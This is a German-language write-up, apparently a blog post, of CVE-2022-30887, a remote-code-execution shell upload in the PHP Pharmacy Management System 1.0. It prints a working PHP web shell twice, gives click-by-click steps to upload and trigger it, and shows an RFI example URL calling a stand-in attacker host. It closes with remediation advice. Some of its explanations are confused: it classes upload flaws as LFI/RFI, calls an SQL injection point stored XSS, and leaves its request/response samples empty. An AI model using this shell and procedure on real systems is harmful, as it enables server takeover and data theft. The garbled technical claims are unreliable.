CVE-2022-30887

Pharmacy Management System 1.0 Shell Upload

Diese Anwendung wurde von Mayurik erstellt. Das Projekt eines Pharmacy-Management-Systems in PHP wurde entwickelt, um die Genauigkeit und Effizienz von Apotheken durch Sicherheit und Verwaltung zu verbessern. Kurz gesagt handelt es sich um eine Produktbestandsanwendung.

Es wurde festgestellt, dass Pharmacy Management System v1.0 eine Schwachstelle zur Remote-Codeausführung (RCE) über die Komponente "/php_action/editProductImage.php" enthält. Diese Schwachstelle ermöglicht es Angreifern, über eine präparierte Bilddatei beliebigen Code auszuführen.

Was ist ein File-Inclusion-Angriff

Datei-Upload-Schwachstellen sind in der Regel eine Schwachstelle, die es einem Skript ermöglicht, ausgeführt zu werden. Sie funktioniert, wenn wir die Datei auf den Server hochladen und einen Befehl auf der hochgeladenen Datei eingeben. Datei-Upload-Schwachstellen werden in zwei Typen unterteilt;

• LFI (Local File Inclusion)
• RFI (Remote File Inclusion)

LFI (Local File Inclusion)

Diese Schwachstelle tritt auf, wenn die lokalen Dateien auf dem Server die vom Benutzer abgerufene Datei einbinden. Die vom Benutzer empfangenen Werte müssen sterilisiert werden.

Beispiel für LFI (Local File Inclusion) ;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI (Remote File Inclusion)

Diese Schwachstelle funktioniert, wenn der Angreifer Malware von einem entfernten Server hochlädt.

Beispiel für RFI (Remote File Inclusion) ;

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Erklärung des Exploits, PoC

• Zuerst, nach der Anmeldeseite werden wir zu "dashboar.php" weitergeleitet.
• Zweitens, um zu der Seite zu gelangen, auf der die Schwachstelle gefunden wurde, klicken Sie im Menü auf "Medikamente", nachdem Sie auf "Medikamente verwalten" geklickt haben, gelangen Sie zu "product.php" und klicken Sie unter dem Aktionsreiter auf "Bild bearbeiten".

• Klicken Sie auf der Seite "editproduct.php" auf die Schaltfläche "Foto auswählen" und laden Sie Ihr Shell-Skript hoch.

Beispiel für ein PHP-Shell-Skript;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• Klicken Sie auf die Schaltfläche "Speichern" und fangen Sie die Anfrage mit burp suite ab.

Anfrage;

Antwort;

• Die Datei wird in den Ordner "/assets/myimage/" heruntergeladen.
• Senden Sie eine Anfrage, um Ihr Skript in der URL /assets/myimage/shell.php?s=echo+%22MuallimNaci%22 auszuführen.

Anfrage;

Antwort;

• Und BOOM

Diese Schwachstelle ist in der Anwendung immer noch aktiv.

Abhilfe

• Stellen Sie sicher, dass Sie nur Zeichen wie "a-Z0-9" akzeptieren und ".." oder "/" oder "%00" (Nullbyte) nicht zulassen.
• Stellen Sie sicher, dass das "allow_url_include-Flag" ausgeschaltet ist.
• Gemäß der OWASP-10-Abhilfe: "Die Anwendung kann eine Whitelist von Dateien pflegen, die von der Seite eingebunden werden dürfen, und dann einen Bezeichner (z. B. die Indexnummer) verwenden, um auf die ausgewählte Datei zuzugreifen. Jede Anfrage, die einen ungültigen Bezeichner enthält, muss abgewiesen werden. Auf diese Weise gibt es keine Angriffsfläche für böswillige Benutzer, den Pfad zu manipulieren."

Zusätzlich

Auf derselben Seite, nämlich "editproduct.php", habe ich gespeichertes XSS gefunden.

• Der Code, der die Schwachstelle enthält, ist;

$sql = "UPDATE product SET product_name = '$productName'"

In diesem Codeblock können Sie mit doppelten Anführungszeichen (") aus dem Kontext ausbrechen.

Anfrage;

Antwort;

Fazit

Ich hoffe, ich konnte erklären, wie eine File-Inclusion-Schwachstelle funktioniert, welche Situation diese Schwachstelle auslöst und wie man diesen Angriff durch Angreifer verhindert. Vielen Dank für Ihre wertvolle Zeit.